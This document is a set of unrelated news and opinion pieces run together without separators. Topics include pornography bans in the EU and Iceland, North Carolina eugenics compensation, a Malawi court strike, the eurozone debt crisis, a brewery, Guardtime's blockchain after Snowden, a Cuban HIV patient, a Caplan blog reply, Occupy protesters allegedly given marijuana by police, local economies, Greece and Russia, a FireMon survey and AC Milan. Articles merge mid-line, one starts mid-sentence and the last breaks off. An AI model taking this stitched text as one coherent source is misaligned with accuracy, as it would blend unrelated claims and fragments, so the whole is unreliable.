Porn has come under the super-revealing spotlight again in the last few weeks, with a certain EU resolution causing controversy after it was put forward by Dutch MEP Kartika Liotard on International Women’s Day. Liotard’s mention of porn came under the broader aim to "eliminate gender stereotypes in the EU", which in her resolution involved "a ban on all forms of pornography in the media’, including ‘the digital field". Predictably, there was uproar.
What constitutes "freedom" on the internet still remains to be decided. Freedoms may well have been restricted by certain ISPs choosing to block their users’ access to illegal downloading site The Pirate Bay last year, in the name of protecting "artistic freedom", or copyright. Many argue that their right to engage with an online article or a public figure on social media outlets like Twitter is restricted by blocking or by comment moderation; still others argue that the writers or celebrities themselves should have the freedom to protect themselves from possible harassment.
In the online realm, which still remains fairly unregulated, people tend to feel strongly that they should be able to access anything that’s going except in the most dire of circumstances, such as child abuse. In the case of porn, most attacked Liotard’s resolution on this basis - the majority of Huffington Post readers voted that it was "an absurd attack on liberty and freedom of expression".
Needless to say, the vaguely worded EU resolution is not out to rip the downloaded porn from your hard drive; its use of the term "the digital realm" is more likely to be because most printed newspapers and magazines are now moving online. Considering the nature of the widespread international reaction to Liotard's proposal, its adoption is unlikely - and even if it were, in all likelihood nothing practical would change.
But the fact that it makes the connection between "gender stereotypes" and porn is interesting. It speaks of wider schisms in society and the feminist community: the "sex-positive" feminists who make porn themselves and the ones who call them "fauxminists" as a result; the school-age girls who report porn-led pressure to get Brazilians and pose naked for their peers on smartphone cameras; those who see female porn participants as empowered workers exercising a smart choice in a sexually oriented capitalist society, and those who see them as fitting into a wider framework of gender-specific disrespect and objectification.
Where is the direct connection between "gender stereotyping" and porn? As always, it’s very unclear. Iceland recently tabled its own motion to ban pornography altogether, including the proposal to make it illegal to purchase porn with Icelandic credit cards, in order to "protect children" from the "violent imagery" that has become increasingly common.
As one Icelandic minister argued, searching for porn no longer leaves you with a picture of "a naked woman in a country field"; often, even the first available video will be fifty shades darker in content. Again, emotions have run high about the possibility of censorship, or, as some opponents strongly put it, "authoritarian regimes" which involve themselves unnecessarily in their subjects’ sex lives.
But Iceland is an unsurprising place for this sort of discussion to come up in government, considering that they have already banned the purchase of sex, and strip clubs. They have an excellent record in gender equality: almost half of their parliamentarians are women and they have a female prime minister - a lesbian prime minister no less. Julie Bindel pointed out that it was the first country in the world to ban strip clubs for feminist reasons, rather than religious ones. Could there be a correlation between a society that is fairer for women overall and the restriction of sex work and porn?
Perhaps not, because countries which rank higher in gender equality than Iceland, such as Germany, do not share these laws. Many have argued that while we concentrate on sex, other strategies which are proven to balance out inequality - like the provision of free and accessible childcare during working hours - are unjustly ignored. Still others balk at the idea of patronising adult women by telling them that their career choices in the sex industry were merely dictated by social brainwashing. And most of us recognise that, even if attempts were made to legislate against people accessing pornographic content online, the power of the net and human capability is such that production would just be driven underground anyway. From cave pictures to Playboy, people have always sought out filthy fodder.
Those of us who are in the generation raised on porn face these questions regularly. Now that the most-accessed forms of porn often show a submissive woman, stripped of all of her body hair, undergoing ritual humiliation in the name of sexuality, we are forced to ask whether that has wider implications about how our peers view us socially, politically and professionally.
Even while we make steps towards eliminating words like “bitch” and “whore” from acceptable conversation, they make a cyclical return to the playground as school children (most of them much savvier than their parents at negotiating online filters) watch porn. At our fingertips is an instant world of any perversion you can think of. But what’s more worrying is that the norm in porn increasingly gravitates towards the violent; we’d be naive to suggest that at some level, this doesn’t contribute to a wider perception of women.
In the last few years, it has seemed difficult to encourage objective discussion of pornography away from media hysterics, or the rhetoric of censorship. But it’s important to discuss the visuals which many access daily: the woman screaming in the throes of another faked orgasm while a silent man looks on, or the multiple penetrations of a gagged woman in the middle of the floor; or the sky-rocketing popularity of ‘choking’ (applying pressure to the neck of a usually female partner) during sex scenes.
It’s important because, as most people in their twenties will remind you, internet porn is here to stay. And now that it’s definitely part of the status quo, it should be as open to challenge as any other social institution.North Carolina’s plan to compensate people who were sterilized under the state’s eugenics program is probably not going go through because the State Senate scratched it off the budget Wednesday.
New York Times reports:
Despite backing from Gov. Bev Perdue and the State House of Representatives, a compensation package that would have given victims up to $50,000 each was not included in the Senate’s budget.
“I think there’s a very strong message from the Senate they’re not prepared to take it up this year,” said Thom Tillis, a Republican and speaker of the House, who supported paying victims.
Lawmakers will vote on the final $20.2 billion budget later this week and then send it to the governor, but it is unlikely that any last-minute changes will include the eugenics bill.Malawi judicial strike shuts down courts
Blantyre - Some 2 000 Malawian judicial workers on Monday brought courts to a standstill with the start of a strike over work conditions and pay, a spokesperson said.
"All 200 courts, from the high courts to magistrate courts, have closed down," said Austin Kamanga, a spokesperson of the Judicial Action Group, which is spearheading the strike.
"We are fighting for new conditions of service which were approved by parliament in 2006."
Parliament approved a 40% pay hike in 2006 and another 60% in 2009, but none of these had been implemented, the group claims.
"The strike will be indefinite until our demands are met. The new conditions of service are to the benefit of everybody, from high court judges to the junior staff," Kamanga told AFP.
"Our conditions of service are supposed to be revised every three years and are approved by parliament. Once parliament approves, the executive is supposed to implement without questions asked."
On average, high court judges in the impoverished southern African nation are paid about $6 000 while junior judicial workers go home with $100.
Anti-government protests and stay-aways brought the country to a standstill last year.
At least 19 people were killed during a police crackdown on demonstrations against President Bingu wa Mutharika's government in July, and more than 275 people were arrested across the country.
In September a coalition of civic groups organised a two-day stayaway to pressure Mutharika into making greater economic and democratic reforms.
Malawi's economy has been hamstrung by suspension of donor inflows to the budget.
Donors, who provide 40% of the development budget that also pays salaries for the country's nearly 170 000 civil servants, wait for the IMF green-light in order to resume budget support.The clash caught markets off-guard and heightened fears that Europe's debt crisis may be escalating, with deep confusion over the Irish crisis as Dublin continues to resist EU pressure to request its own rescue.
Olli Rehn, the EU economics commissioner, said escalating rhetoric in Europe was turning dangerous. "I want to call on every responsible European to resist the centrifugal tendencies and existential alarmism."
Swirling rumours hit eurozone bond markets, while bourses tumbled across the world. The FTSE 100 fell 2.4pc to 5681.9, and the Dow dropped over 200 points in early trading. The euro slid two cents to $1.3460 against the dollar as the US currency regained its safe-haven status.
Austria's finance minister Josef Proll said he was "very critical" of Greece's performance, saying Athens had failed to meet the tax revenue targets agreed under the EU Memorandum.
Credit default swaps on Greek debt rocketed 97 basis points to 950 as investors woke up to the awful possibility that the EU could turn its back on Athens, which will run out of money by mid-January without loans. A Greek default would trigger $300bn (£188bn) worth of CDS contracts.
A 'Troika' of EU-IMF inspectors is currently in Greece but has not indicated whether the next €6.5bn (£5.5bn) tranche will be approved. German influence is crucial, yet Greek premier George Papandreou courted fate on Monday when he accused Chancellor Angela Merkel of driving the weaker EMU states into bankruptcy by scaring investors with talk of "haircuts".
Finance minister Wolfgang Schauble expressed deep irritation. "Greece has enjoyed a lot of solidarity from Europe and Germany. But solidarity is not a one-way street: nobody should ever forget that," he said.
In Dublin, premier Brian Cowen said Ireland has "not made any application for external support" and is fully-funded until June. The assurance did little to silence reports that Ireland is in talks with the EU authorities and the International Monetary Fund for a loan package of €80bn to €100bn.
Finance minister Brian Lenihan declined to comment before meeting eurozone counterparts last night. Dublin is hoping a formula that would dress up any aid package as a move to recapitalise banks and stabilise EMU bond markets, rather than a rescue for Ireland.
The political chemistry is volatile because Ireland is being pushed into a pre-emptive bail-out to ensure that contagion does not reach Portugal and Spain. Citigroup said it was "far from clear" whether an Irish bail-out would in fact lift the pressure off others since they share the same problem of excess debt. Markets may simply shift their focus onto the next country.
Ian Stannard from BNP Paribas said the EU's €440bn rescue fund was never designed to be used. "The sheer existence of the fund was supposed to be enough, but that has not happened. It is only a matter of time before the Spanish economy slips back into recession, and that is when the spotlight will turn to Spain," he said.
A Spanish auction of 12-month debt on Tuesday saw rates of 2.36pc, compared to 1.84pc in October, even though markets think an Irish bail-out is a 'done deal'. Analysts say that Portugal and Spain should be careful what they wish for.By removing a holding provision from the zoning of 65 Hatt Street last week, the City of Hamilton has shifted Dundas’ Shed Brewing Company into high gear.
Craft brewery co-owner Ed Madronich, also president of Flat Rock Cellars winery in Jordan, said the move based on a complete submission to Ontario’s environment ministry means a building permit can finally be issued, and construction can actually start.
“We’re just excited,” Madronich said. “The big thing is people will see work starting.”
And it means the brewery could be operating in August.
Ministry of Environment spokesperson Jennifer Hall confirmed last week the ministry received Shed Brewing’s application for environmental compliance approval. She said the application is currently being reviewed by ministry staff.
The ministry’s review assesses all air emission sources, including noise, and potential impacts on the surrounding community before making a decision on the application.
Madronich said internal work including roof replacement and flooring will take place over the next four weeks while equipment is shipped to Dundas from Europe. When the tanks arrive sometime in July it could be just a couple more weeks before Craft Beer is fermenting in the Valley Town.
“There’s a lot to do…but not tons to do,” Madronich said.
Madronich and partner Shawn Till - the two halves of Shed (Shawn and Ed) Brewing – have a Kickstarter campaign underway to raise $15,000 towards construction work that will preserve and protect historical aspects of the brewery’s home – a former curling and skating rink, and Valley City Manufacturing warehouse, built in the 1820s.
“We actually are very focused on preserving the heritage. It has an interesting and quirky history – lots of different things and businesses have been a part of it,” Madronich said.Getty Images
The National Security Agency knows Edward Snowden disclosed many of its innermost secrets when he revealed how aggressive its surveillance tactics are. What it doesn't know is just how much information the whistleblower took with him when he left.
For all of its ability to track our telecommunications, the NSA seemingly has little clue exactly what documents, or even how many documents, Snowden gave to the media. Like most large organizations, the NSA had tools in place to track who accessed what data and when. But Snowden, a system administrator, apparently was able to cover his tracks by deleting or modifying the log files that tracked that access.
An Estonian company called Guardtime says it has a solution to that: using the same ideas that underpin the digital currency Bitcoin, the company says it can ensure no one can alter digital files, not even an organization's most senior executives or IT managers. The idea is to stop the next Snowden in his tracks by making it impossible to tamper with data, such as the NSA log files, in secret.
To prevent people from spending a single bitcoin twice, all transactions are recorded in a global, distributed ledger called the blockchain. All copies of the bitcoin client software include a copy of the blockchain, and falsifying the ledger would require controlling at least half of all the copies in existence.
Guardtime's Black Lantern uses the same idea applied to any chunk of data, such as an access log file or the data gathered by Internet of Things sensors. The blockchain could then be distributed to every executive, or even every employee, to ensure no one person can alter it. It doesn't encrypt the data, but it can let you know if someone has tampered with it.
Had the NSA been using Black Lantern, the agency would have been able to detect Snowden's activities early on, or at least would have much better idea of what Snowden took, says Guardtime CTO Matt Johnson, a former agent with the Air Force Office of Special Investigations agent and defense contractor.
"It keeps honest people honest," he says. "It makes it impossible for them to lie."
Securing Digital Assets
There's irony in a former federal law enforcement officer pitching a bitcoin-style decentralized cryptography system as a way of securing the NSA's data. Bitcoin proponents praise the blockchain as a way for citizens to hide their online tracks from the government; but Guardtime shows how the same technology could be used as a tool for surveillance.
We've already seen others repurpose bitcoin's code to create applications like Bitmessage, (an attempt to create a secure peer-to-peer messaging platform) and Namecoin (a decentralized alternative to the domain name system). Some hackers even aspire to create autonomous distributed corporations: online services that could exist without any human owners.
But Guardtime suggests these technologies are good for more than creating highly decentralized applications that replace or circumvent governments and corporations. Large organizations could use this technology to secure their assets.
Guardtime isn't the only company working on this. Last year IBM published a report proposing the creation of a blockchain-driven communications system for the Internet of Things. But Guardtime's product isn't theoretical. The Estonian government is using it for a range of purposes, including protecting data archives and patient health records. And through a partnership with telecom company Ericsson, Black Lantern is being sold to private firms.
Making Data Tamper-Proof
Like IBM, Guardtime thinks the Internet of Things could be the killer application for the blockchain. As more and more connected devices gather data and store it in the cloud—and governments and private citizens alike create automated systems that respond to that data—ensuring data hasn't been tampered with is crucial – especially if you have to trust outside vendors or hosting providers.
"We have to demonstrate the the hardware has not been tampered with," says Ericsson CTO Jason Hoffman.
That could be especially important for securing safety critical systems such as connected cars, implanted medical devices and airplane control systems.
It is important to understand the data itself isn't stored in the blockchain. Rather, it stores what's called a cryptographic hash, a long and unique mathematically-generated string of letters and numbers that corresponds to the original piece of data. Cryptographers can use these hashes to tell whether a file or piece of data has been changed. If you've ever downloaded a piece of open source software that displayed a bunch of random characters with a label like "SHA" or "MD5" next to the download link, you've seen this in action.
These sorts of hashes are what Guardtime distributes to various machines. The upshot is that private data, such as health care records, can be monitored with the blockchain without those records ever needing to be shared.
Frank Cilluffo of the George Washington University Center for Cyber and Homeland Security is intrigued. Cilluffo says a properly implemented version of the concept could have huge security ramifications because it addresses internal, not external, attacks. |
since there was no test for H.I.V. and Cuba had no known AIDS cases, while Haiti did and had previously exported huge amounts of blood. In the United States and France, infected clotting factor ultimately killed most of a generation of hemophiliacs.
Since tests arrived in 1986, there have been 27 million transfusions in Cuba, with almost no transmissions.
Ms. Cespedes, a pricing expert for state stores, is an exception. In early 2002, she had surgery for an ectopic pregnancy and needed a transfusion. About a month later, a newborn transfused with blood from the same donor had a mysterious fever.
It turned out the baby was infected. The original donor apparently had been in the “window period” when the virus is in the blood, but antibodies have not yet formed.
Other than a fever 12 days after her transfusion — a typical reaction to a new H.I.V. infection — Ms. Cespedes has had no symptoms. Her CD4 count has stayed high enough that she was not put on medication under Cuba’s national treatment protocols.
Her first husband divorced her after she became infected. She and her second husband have always used condoms, she said, but now they want to have a baby. To drive down her viral load so there is virtually no chance she will infect him through unprotected sex, she began taking the drugs last spring.
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Her bond with Dr. Pérez, who has overseen her treatment from the beginning, is obvious.
“She cries with me a lot,” he said. “She is more than a patient; we are friends.”
Ms. Cespedes confirmed that.
“If I have a boy, I’m going to name him Jorge,” she said.
And if it’s a girl?
“Jorgina.”Ethnic Diversity and the Size of Government: A Belated Reply to Sanandaji By Bryan Caplan
I’ve repeatedly argued that libertarians exaggerate the political externalities ofimmigration. One of my arguments is that immigration increases diversity, which undermines solidarity, which mutes public support for the welfare state. A well-known 2001 paper by Alesina, Glaeser, and Sacerdote (henceforth AGS) presents evidence that, on net, racial fragmentation makes the welfare state smaller. AGS is heavily cited, but the best of my knowledge, no one has ever published a critique in an academic journal or book. The most thoughtful response to AGS remains a blog post by Tino Sanandaji, Ph.D. student in Public Policy at the University of Chicago. Consider this a belated point-by-point reply.
Sanandaji begins with a correct explanation of the AGS mechanism:
[E]conomists believe that solidarity is diminished in ethnically heterogeneous societies. According to this theory voters care more about people with the same race and ethnicity as themselves, and are less willing to help the unfortunate if they have a different skin color… Some libertarians want to rely on this mechanism to tear down the welfare state through open borders and the ethnic tensions they believe that migration will cause.
Sanandaji’s first reaction:
[I]f that is the price of limiting the welfare state… I would oppose it… I understand that some free-marketers have turned against the very notion of “solidarity”, because the left has exploited the term so much. However this should not let us lose sight of the fact that solidarity and national cohesiveness are social goods, not something that we should want to destroy through an immigration shock doctrine.
This is a straw man. The claim isn’t that open borders will “destroy” solidarity or the welfare state, but merely that open borders will undermine both. And while free-marketers may well agree that some degree of solidarity is good, it’s also hard for free-marketers to deny that current levels of solidarity are excessive. Solidarity stands in the way of free-market reforms in pensions, education, health care, taxation, agricultural policy, and much more.
Sanandaji then turns to the heart of his critique:
Ethnic diversity overall tends to expand the welfare state, not reduce it. While the research only focuses on one effect of unskilled immigration (reduced fellowship), there are at least three effects that go the other way. Here are the main effects of increasing the share of low income minorities: 1. Solidarity is diminished and social ties are weakened, so that the majority population becomes less willing to pay taxes to help “the other”. This limits the size of government. The ethnic-diversity-and-redistribution-literature has almost entirely focused on this sole effect.
This is a strange way to describe the state of the argument. It would be more accurate to say that (a) Almost everyone assumes that immigration increases the size of the welfare state; (b) AGS identified a mechanism going in the opposite direction; and (c) AGS showed that on international data, the net effect of diversity on the welfare state is indeed negative. There is a -.66 bivariate correlation between social spending as a percent of GDP and racial fragmentation, and this relationship persists controlling for per-capita income, region, and age distribution.
I freely admit that AGS’s results for the U.S. states are indeed subject to Sanandaji’s critique here. AGS only show that states with larger black population shares spend less per person, not less in total. But even this weaker result shows that the standard story is overstated.
Now let’s turn to Sanandaji’s “three effects that go the other way”:
2. Increasing the share of low income individuals increases the welfare state through a mechanic effect. This means even if you don’t vote for any changes to the welfare state, the use of preexisting welfare programs such as unemployment insurance and public health care increases.
True enough, but this “mechanic effect” is precisely the kind of thing that economics rightly teaches us to second-guess. You could just as easily say that the “mechanic effect” of raising the price of iPhones is to increase profits. In both cases, you need to consider how the mechanic effect interacts with behavior.
Sanandaji’s next mechanism tries to do just that:
3. More disadvantaged citizens increases the need for a welfare state. To the extent that the welfare state reflects a desire to reduce social problems, having more deprived individuals increases the demand for more government to solve problems.
This sounds good, but it’s theoretically confused. The standard microeconomic story is: (a) the more poor people there are, the higher the cost of reducing the poverty rate; (b) voters will respond to this higher cost by spending less per person; (c) the net effect on total welfare spending (number of recipients times spending per recipient) is therefore ambiguous.
Sanandaji continues:
The welfare state exists largely because the middle classes and the rich feel sorry for the poor. The left is not stupid or irrational, they rarely demand government intervention where there are few problems.
Once again, this sounds good – until you remember that “poverty” is relative. By global standards, almost everyone in the First World is rich. But First World countries still have Social Security, Medicare, free public education, etc. And few of these benefits are means-tested! Contrary to Sanandaji, the welfare state exists largely because (a) people receive money whether they need it or not, and (b) the middle classes and the rich constantly redefine poverty to ensure its continued existence. Not just the left, but the entire political spectrum is indeed irrational, and habitually demands government intervention for no good reason.
Sanandaji’s fourth point:
4. Though ignored by proponents of the ethnic-diversity-and-redistribution, minorities also get to vote, and they vote overwhelmingly for the left.
I’m puzzled by this claim. AGS’s Table 10 econometrically confirms that blacks are much more in favor of redistribution than the general population. Their whole story is precisely that the indirect effect more than offsets the direct effect. AGS’s case would be even stronger if they had a measure of total spending on the y-axis rather than a measure of per-person spending. But contrary to Sanandaji, they’re not “ignoring” this point.
Sanandaji also neglects the possibility that immigrants vote “overwhelmingly for the left” primarily because right-wing parties treat them with such hostility. Bush’s share of the Hispanic vote in 2004 was probably overstated (39%, not 44%, is a reasonable estimate), but he still made impressive gains simply by treating Hispanics with respect and taking a relatively pro-immigration stance.
Sanandaji continues with what is arguably his best point:
This effect is dominant when we are discussing free migration, because with open borders in a world where 700 million people have told Gallup they would like to migrate right now, sooner or later the immigrants will become the majority of voters and make the political preferences of the natives irrelevant.
AGS show that in the United States, higher black population shares predict lower welfare benefits (but not total welfare spending), even controlling for median income. But if you study their Figure 5 closely, you’ll notice that blacks are a minority in every U.S. state. What would happen if blacks actually formed a majority? Maybe, as Sanandaji suggests, there would be a U-shaped effect – beyond 50%, AFDC benefits would start to rise. Indeed, I bet that is precisely what would happen.
However, there is a crucial difference between African Americans and immigrants. African Americans have a shared group identity. Immigrants do not. They identify at most with other people from the same country. And even there, internal divisions between “early” and “late” arrivals are common – see Jews or Cubans. By the time that “immigrants” form a majority in any First World country, most of them will probably no longer consider themselves to be “immigrants.” See the United States, where the grandchildren of immigrants often have trouble pronouncing the word “immigrant” without reproach.
In the conclusion of his post, Sanandaji provides two graphs in support of his skepticism. For a blog post, they’re impressive graphs; if you read Sanandaji’s comments, he diligently responds to criticism with additional legwork. Nevertheless, AGS’s graphs and regressions are better, especially their Figure 4 and Table 9, which show social spending as a function of diversity controlling for the leading confounding variables. Until I see contrary evidence of comparable quality, AGS’s story remains the one to beat.
P.S. I just noticed that Sanandaji replied to my earlier post on AGS. He argues that if we limit AGS’s sample to the OECD, their result goes away:
Ethnically fragmented societies tend to be poorer and less well organized, which makes a large welfare state hard to finance. But we are discussing immigration to the west, not to Guatemala.
A fair point, but instead of throwing away most of the data and variation, it’s better to keep the data and add control variables. That’s precisely what AGS did, and found that their result held controlling for per-capita income.Activists say police took them to secret location, gave them marijuana and studied the effects as part of training exercise
Occupy Minnesota protesters who said police got them high told: you can sue
When the story first broke it sounded like paranoia, possibly from smoking too much weed: law enforcement officers in Minnesota spirited Occupy protesters to a secret location and got them high on pot.
It seemed a bizarre claim, but activists insisted that local police took people away from a protest camp at Peavey Plaza in Minneapolis in April 2012 to study the drug's effects as part of a training program.
It does not sound paranoid any more. This week, a federal judge ruled that a lawsuit launched by two protesters against five officers should go ahead, clearing the way for a trial that will shine a light on the discredited training exercise.
US district judge John Tunheim rejected a motion by the Hutchinson police and the sheriff’s offices in Olmsted and Nobles counties to dismiss the case, saying the officers may have violated the activists' first and 14th amendment rights.
In light of the “clear prohibition” on providing illicit drugs to citizens the law enforcement agencies were not entitled to the protection of qualified immunity, the judge said in a memorandum filed late on Monday.
He threw out claims filed by four other plaintiffs, saying they lacked detail, but left open the possibility they could be reinstated if made more specific.
Nathan Hansen, a North St Paul attorney representing the four activists, said an amended complaint would soon be filed.
“This ruling is really good news. Now the case can move forward,” he told the Guardian. Soon his team could start obtaining documents, interviewing witnesses and establish, among other things, how the officers got the drugs.
He accused them of violating his clients' first amendment right to protest, and of performing unscientific experiments without medical personnel present. “Some of my clients have mental health problems and are very vulnerable. It's really kind of sad that someone would want to treat a human being this way.” Some were given pot to take away, said Hansen.
Six protesters sued in February 2013, accusing 26 defendants of violating their rights under the First and Fourteenth amendments. The two whose lawsuit is going ahead are Michael Bounds and Forest Olivier.
It is alleged police chose individuals from the Peavey Plaza protest, took them to a warehouse near Minneapolis-St Paul International Airport and gave them marijuana to monitor their reaction. It was part of a Drug Recognition Evaluators exercise managed by the Minnesota state patrol, ostensibly to train officers to spot drug use, especially in motorists.
The story was broken in April 2012 by independent media groups, including Rogue Media, Communities United Against Police Brutality and Twin Cities IndyMedia, who made a 35-minute video showing officers from different law enforcement departments picking up and returning protesters.
"I got stoned with a couple cops," a protester who went by the name Panda said on camera, following an alleged encounter. "I'm high as fuck." Panda said the officers treated him to a double cheeseburger from McDonald's, observed how eagerly he ate it, and and timed him.Cities where small, locally owned businesses account for a relatively large share of the economy have stronger social networks, more engaged citizens, and better success solving problems, according to several recently published studies.
And in the face of climate change, those are just the sort of traits that communities most need if they are to survive massive storms, adapt to changing conditions, find new ways of living more lightly on the planet, and, most important, nurture a vigorous citizenship that can drive major changes in policy.
That there’s a connection between the ownership structure of our economy and the vitality of our democracy may sound a bit odd to modern ears. But this was an article of faith among 18th- and 19th-century Americans, who strictly limited the lifespan of corporations and enacted antitrust laws whose express aim was to protect democracy by maintaining an economy of small businesses.
It wasn’t until the 20th century that this tenet of American political thought was fully superseded by the consumer-focused, bigger-is-better ideology that now dominates our economic policy-making. Ironically, the shift happened just as social scientists were furnishing the first bona fide empirical evidence linking economic scale to civic engagement.
In 1946, Walter Goldschmidt, a USDA sociologist, produced a groundbreaking study comparing two farming towns in California that were almost identical in every respect but one: Dinuba’s economy was composed mainly of family farms, while Arvin’s was dominated by large agribusinesses. Goldschmidt found that Dinuba had a richer civic life, with twice the number of community organizations, twice the number of newspapers, and citizens who were much more engaged than those in Arvin. Not surprisingly, Dinuba also had far superior public infrastructure: In both quality and quantity, the town’s schools, parks, sidewalks, paved streets, and garbage services far surpassed those of Arvin.
At about the same time, two other sociologists, C. Wright Mills and Melville J. Ulmer, were undertaking a similar study of several pairs of manufacturing cities in the Midwest. Their research, conducted on behalf of a congressional committee, found that communities comprised primarily of small, locally owned businesses took much better care of themselves. They beat cities dominated by large, absentee-owned firms on more than 30 measures of well-being, including such things as literacy, acreage of public parks, extent of poverty, and the share of residents who belonged to civic organizations.
One might expect such findings to have had a powerful influence on government policy. In fact, Congress ignored Mills and Ulmer, while Goldschmidt’s study was actively suppressed by his bosses at the USDA, who, under the sway of big agribusiness, treated his research as though it were radioactive. They eventually fired Goldschmidt and abolished his entire department. In the following decades, a wide range of federal policies would work to facilitate and promote the concentration of capital and the rise of big industry.
Today, as we find ourselves struggling with a climate crisis that demands a far more active and creative democracy than we currently have, a new body of research is once again illustrating the civic advantages of decentralizing ownership and transitioning more of our economy to community-scaled enterprises.
“Residents of communities with highly concentrated economies tend to vote less and are less likely to keep up with local affairs, participate in associations, engage in reform efforts or participate in protest activities at the same levels as their counterparts in economically dispersed environments,” sociologists Troy Blanchard and Todd L. Matthews concluded in a 2006 study published in the journal Social Forces. In studies of both agricultural (2001) and manufacturing (2006) communities, the late Cornell sociologist Thomas Lyson also found that those places with a diversity of small-scale enterprises had higher levels of civic participation and better social outcomes than those controlled by a few outside corporations.
It’s not just that cities with more social capital are better able to foster local enterprises and resist corporate consolidation. The causality actually seems to go the other way: Where economic power is diffused, political power is more widely and democratically exercised. And, likewise, as economic power becomes more concentrated, civic engagement slumps. Sociologists Stephan Goetz and Anil Rupasingha, for example, have documented a decline in civic participation, including voter turnout and the number of active nonprofit organizations, after Walmart moves into a community. And, with each Walmart store that opens in a city, social capital further erodes, their 2006 study finds.
Still other research has drawn a link between a small-scale economy and improved community well-being, including lower rates of crime and better public health. A study published in 2011, for example, found: “Counties with a vibrant small-business sector have lower rates of mortality and a lower prevalence of obesity and diabetes.” The authors surmise that a high degree of local ownership improves a community’s “collective efficacy” — the capacity of its residents to act together for mutual benefit. Previous research has linked collective efficacy to population health, finding that engaged communities tend to create the kinds of infrastructure (think of farmers markets and bike lanes) that foster healthier choices.
What is it about a locally rooted economy that fosters social ties and civic engagement? There’s much to be said for the value of doing business with people who know us and whose success is intimately tied to the well-being of the community. Small businesses are not merely smaller versions of large businesses; they are running on a different operating system altogether. Goldman Sachs makes money regardless of whether foreclosures are going up or down. But a local bank only does well when its borrowers do well. Business decisions are thus guided by very different motivations. And, in times of crisis, economic resources that are controlled locally are much more readily marshaled and reconfigured to meet shifting local needs.
Independent businesses also create environments that foster interaction. Research suggests you are roughly seven times as likely to end up in a conversation with another customer at a farmers market or neighborhood bookstore than you are at a big-box store (not to mention the isolating experience of shopping on Amazon). To run one’s errands in places that encourage lingering and conversation, where economic exchange is embedded in human relationships, is to experience the place where you live in a meaningful way. No wonder this leads to more engaged and resilient communities.
Of all the environmental benefits that might flow from shifting to a more locally focused economy — from reducing global shipping to creating systems of production that are better matched to the limits and resources of particular ecosystems — perhaps the most significant would be a renewed capacity to act together for the common good and tackle the looming challenges before us.Greek Prime Minister Alexis Tsipras shakes hands with Russian President Vladimir Putin during a session of the St. Petersburg International Economic Forum on June 19, 2015. Photo by OLGA MALTSEVA/AFP/Getty Images
If you want some perspective on Europe’s current debt crisis, consider the fact that Chinese stocks have fallen by a value 10 times Greece’s entire GDP, with nary a peep from the Greek-obsessed international media.
But even if the scale of Greece’s woes seem small by Chinese standards, Beijing is still concerned with what happens this weekend, particularly due to concerns that if the situation isn’t resolved, it could drag down economies throughout the EU, China’s largest trading partner. By coincidence, Prime Minister Le Keqiang was in Brussels this week for an annual China-EU summit and said that China is hoping for a resolution that keeps Greece within the eurozone, saying it concerns not just Europe but “world financial stability and economic recovery.”
Still, the prospect of a Greek exit from Europe and a collapse of the bailout has led to some speculation about whether China could turn the situation to its advantage. China has leant money to countries that have defaulted on their debts before, notably in Latin America, and it may see a political advantage in stepping in when Europe failed to. As Frida Ghitis of the World Politics Review notes, China has often lent money to countries, such as Venezuela, that other investors wouldn’t go near.
If history is a guide, China would be less interested than the EU in reforming Greece’s governance and domestic economic policies, so long as Greece committed to policies that provide advantages for Chinese trade and, perhaps, a reliably pro-China foreign policy. As BBC China editor Carrie Gracie points out, closer ties to Greece could be advantageous to China as it looks to construct an ambitious new trade route through Central and Southern Asia through the Mediterranean and Europe. Whether these soft power benefits are worth being stuck with billions in unrecoverable Greek debt is another story.
There’s been even more speculation about the prospect of Russia stepping in to bail Greece out. The Kremlin has helped out debt-addled the Mediterranean before, granting a 2.5 billion euro emergency loan to Cyprus in 2011. Despite its current economic predicament, Russia still has about $350 billion in foreign exchange reserves that it could conceivably spend on buying influence and undermining European unity.
Greece’s ruling Syriza party is fairly pro-Russian, opposing EU sanctions against Vladimir Putin’s government. Greece recently signed on to host part of a new pipeline bringing Russian gas into Europe. Shortly afterward, Tsipras gave the keynote address at an economic forum in St. Petersburg hosted by Putin, highlighting the importance of ties between the two countries. The German magazine Der Spiegel reported that Russia had agreed to give Greece a loan of up to $5 billion as an advance on profits from the pipeline, though the Russian government denied it. The Kremlin also denied Russian media reports that it had offered Greece membership in the new BRICS development bank being formed by Brazil, Russia, India, China, and South Africa.
Still, the Russians have left open the possibility of further economic cooperation in exchange for concessions to Russian business. Finance Minister Anton Siluanov said back in January that Russia would “definitely consider” a Greek request for aid. Vladimir Chizov, Russia’s ambassador to the EU, said this week that while Greece has not yet appealed for direct financial aid, “We have the ability of increasing our economic co-operation, in particular Greece has the ability of privatizing, including railroads and the port [in Thessaloniki].”.
Despite these hints, a Russian lifeline for Greece is probably still unlikely. Battered by both low oil prices and western economic sanctions, Russia is burning through its reserves fast without much relief in sight. With at least $271 billion in debt to its international creditors, the Greek crisis is an entirely different situation than tiny Cyprus, which historically had a much closer relationship with Russia.
It would be a mistake for Greece’s government to count on help from Russia (or China for that matter) if things take a turn for the worse with Europe. But it’s probably still advantageous for Greece and Russia if the lenders in Brussels think it’s a possibility.
Read more of Slate’s coverage of the Greek financial crisis.A new survey of security professionals reveals that 83 percent say colleagues in other departments turn to them to fix personal computer problems.
The study by security management company FireMon shows a further 80 percent say this is taking up more than an hour of their working week, which in a year could equate to more than $88,000.
For organizations, eight percent of professionals surveyed helping colleagues out five hours a week or more could be costing over $400,000. Organizations are potentially paying qualified security professionals salaries upwards of $100,000 a year and seeing up to 12.5 percent of that investment being spent on non-security related activities.
"Not only are modern IT security professionals faced with a growing complexity and skills gap and keeping up with technology investments and advancements, but they are also expected by colleagues to help them sort out their personal computing woes," says Michael Callahan, CMO of FireMon. "IT personnel are usually the helpful, go-to people for sorting out issues, but it's only when you start to cost it out that you realize how much money it equates to. This is on top of a very demanding job where they often juggle many different workstreams and projects, oftentimes relying on strictly manual processes and workflows. Fortunately, for this aspect of their role, there are intelligent automation solutions available that help them keep their day-to-day work, like managing the network infrastructure and risk, on track."
You can find out more about FireMon's security management platform and how it can improve the effectiveness of defenses on the company's site.
Image Credit: Wavebreakmedia / depositphotos.comAC Milan vice-president Adriano Galliani has announced that he is to resign after over a quarter of a century at the club.
• Paul: End of an era
• Belusconi to redouble efforts?
In an announcement to Italy's ANSA news agency, Galliani said he will be tendering his resignation "in the next few days" and that he will leave the club "whether we reach an agreement on a pay-off settlement or not."
Galliani -- whose position has been in doubt ever since board member Barbara Berlusconi spoke to her father and club president Silvio Berlusconi about restructuring of the club -- has already delivered a parting shot before officially leaving the club he has served since 1986.
